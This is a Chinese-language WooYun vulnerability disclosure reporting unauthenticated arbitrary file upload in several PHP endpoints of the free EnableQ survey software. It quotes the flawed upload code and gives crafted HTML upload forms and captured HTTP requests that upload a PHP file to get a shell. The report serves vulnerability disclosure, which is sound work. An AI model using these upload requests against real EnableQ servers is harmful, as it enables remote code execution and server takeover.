当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128219

漏洞标题:EnableQ官方免费版存在多处任意文件上传,免登陆可直接getshell

相关厂商:北京科维能动信息技术有限公司

漏洞作者: Bear baby

提交时间:2015-07-21 22:25

修复时间:2015-10-20 13:51

公开时间:2015-10-20 13:51

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 细节已通知厂商并且等待厂商处理中
2015-07-22: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-15: 细节向核心白帽子及相关领域专家公开
2015-09-25: 细节向普通白帽子公开
2015-10-05: 细节向实习白帽子公开
2015-10-20: 细节向公众公开

简要描述:

《一直默默努力》
版本:EnableQ_V9.10_免费版_2问卷许可证_整合安装包_For Windows
下载路径:
http://www.enableq.com/control/WebAPI/Download.php?downloadID=52&language=CN

详细说明:

看页面上面的下载次数还挺多的 ,26万多次下载。

1.png


虽然官方已经更新到10.20但是提供的免费版还是9.10版,简单分析一下,该版本存在多处任意文件上传漏洞,导致可直接Getshell。
文件位置:Android/FileUpload.php
部分代码如下:

session_start( );
require_once( ROOT_PATH."Entry/Global.fore.php" );
$thisFiles = "uploadedfile_".$_GET['optionID'];
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo "false|".$_GET['optionID']."|".$_FILES[$thisFiles]['error'];
}
exit( );
}
$question_File_ID = dmeqjch( "_", $thisFiles );
$tmpExt = dmeqjch( ".", $_FILES[$thisFiles]['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $question_File_ID['2'] != "" )
{
$newFileName = $question_File_ID['2']."_".date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
else
{
$newFileName = date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$newFileName ) )
{
echo "true|".$_GET['optionID']."|".$newFileName;
exit( );
}
?>


没啥验证即可上传任意文件,保存位置为PerUserData/tmp/
根据上面的代码构造一个上传页面如下,

<form action="http://网站/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input type="file" name="uploadedfile_1" id="fileField" />
<input type="submit" name="button" id="button" value="提交" />
</form>


Fiddler抓包如下:

Request
POST http://192.168.1.253:9009/enableq/Android/FileUpload.php?optionID=1 HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df15424111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 351
Host: 192.168.1.253:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3
-----------------------------7df15424111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------7df15424111c02
Content-Disposition: form-data; name="button"
submit
-----------------------------7df15424111c02—
Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:12:48 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
true|1|20150721211248628.php


对应路径即为:/PerUserData/tmp/20150721211248628.php,如下图

2.png


第二处
文件位置:/JS/DistributionUpload.php
部分代码如下:

$thisFiles = $_POST['uploadFileName'];
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo $_FILES[$thisFiles]['error'];
}
exit( );
}
if ( file_exists( $filePhyPath.$_FILES[$thisFiles]['name'] ) )
{
@unlink( $filePhyPath.$_FILES[$thisFiles]['name'] );
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$_FILES[$thisFiles]['name'] ) )
{
echo $_FILES[$thisFiles]['name'];
exit( );
}


和第一个代码基本一致,没过滤。稍微更改下构造的上传页面如下:

<form action="http://网站/JS/DistributionUpload.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
<input type="file" name="uploadedfile_1" id="fileField" />
<input type="submit" name="button" id="button" value="submit" />
</form>


Fiddler抓包如下:

POST http://192.168.1.253:9009/enableq/JS/DistributionUpload.php HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3a1a111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 465
Host: 192.168.1.253:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadFileName"
uploadedfile_1
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="button"
submit
-----------------------------7df3a1a111c02--
Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:21:10 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
i.php


这个倒是连文件名都没改,对应路径/PerUserData/tmp/i.php,如下图。

3.png


第三处
文件位置:/JS/FileUpload.php
相关代码如下:

$thisFiles = $_POST['uploadFileName'];
if ( $Config['dataDomainName'] != "" )
{
$theFileTime = trim( $_POST['uploadFileTime'] );
$filePhyPath = $Config['absolutenessPath']."/".$Config['dataDirectory']."/response_".$_POST['theSurveyID']."/".date( "Y-m", $theFileTime )."/".date( "d", $theFileTime )."/";
}
else
{
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
}
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo $_FILES[$thisFiles]['error'];
}
exit( );
}
$question_File_ID = dmeqjch( "_", $thisFiles );
$tmpExt = dmeqjch( ".", $_FILES[$thisFiles]['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $question_File_ID['1'] != "" )
{
$newFileName = $question_File_ID['1']."_".date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
else
{
$newFileName = date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$newFileName ) )
{
echo $newFileName;
exit( );
}


构造上传页面同第二个。
Fiddler抓包如下:

Request
POST http://192.168.1.253:9009/enableq/JS/FileUpload.php HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3a1a111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 465
Host: 192.168.1.253:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadFileName"
uploadedfile_1
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="button"
submit
-----------------------------7df3a1a111c02--
Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:26:46 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
1_20150721212647249.php


如下图

4.png


剩下
文件位置:
/JS/RecFileUpload.php
/JS/ReportFileUpload.php
代码问题、构造上传页面和第三个一致,此处不再叙说。
另有几处上传问题默认需要增强许可授权,此处不贴出。

漏洞证明:

修复方案:

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-20 13:51

厂商回复:

https:///vul/info/qid/QTVA-2014-
该漏洞存在于老版本,并且在360漏洞平台上2014-12-02已经报告,并且官方已经处理。但仍然谢谢@Bear baby

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-21 22:38 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    审核的同志幸苦了。。这么晚还在工作。向您致敬。。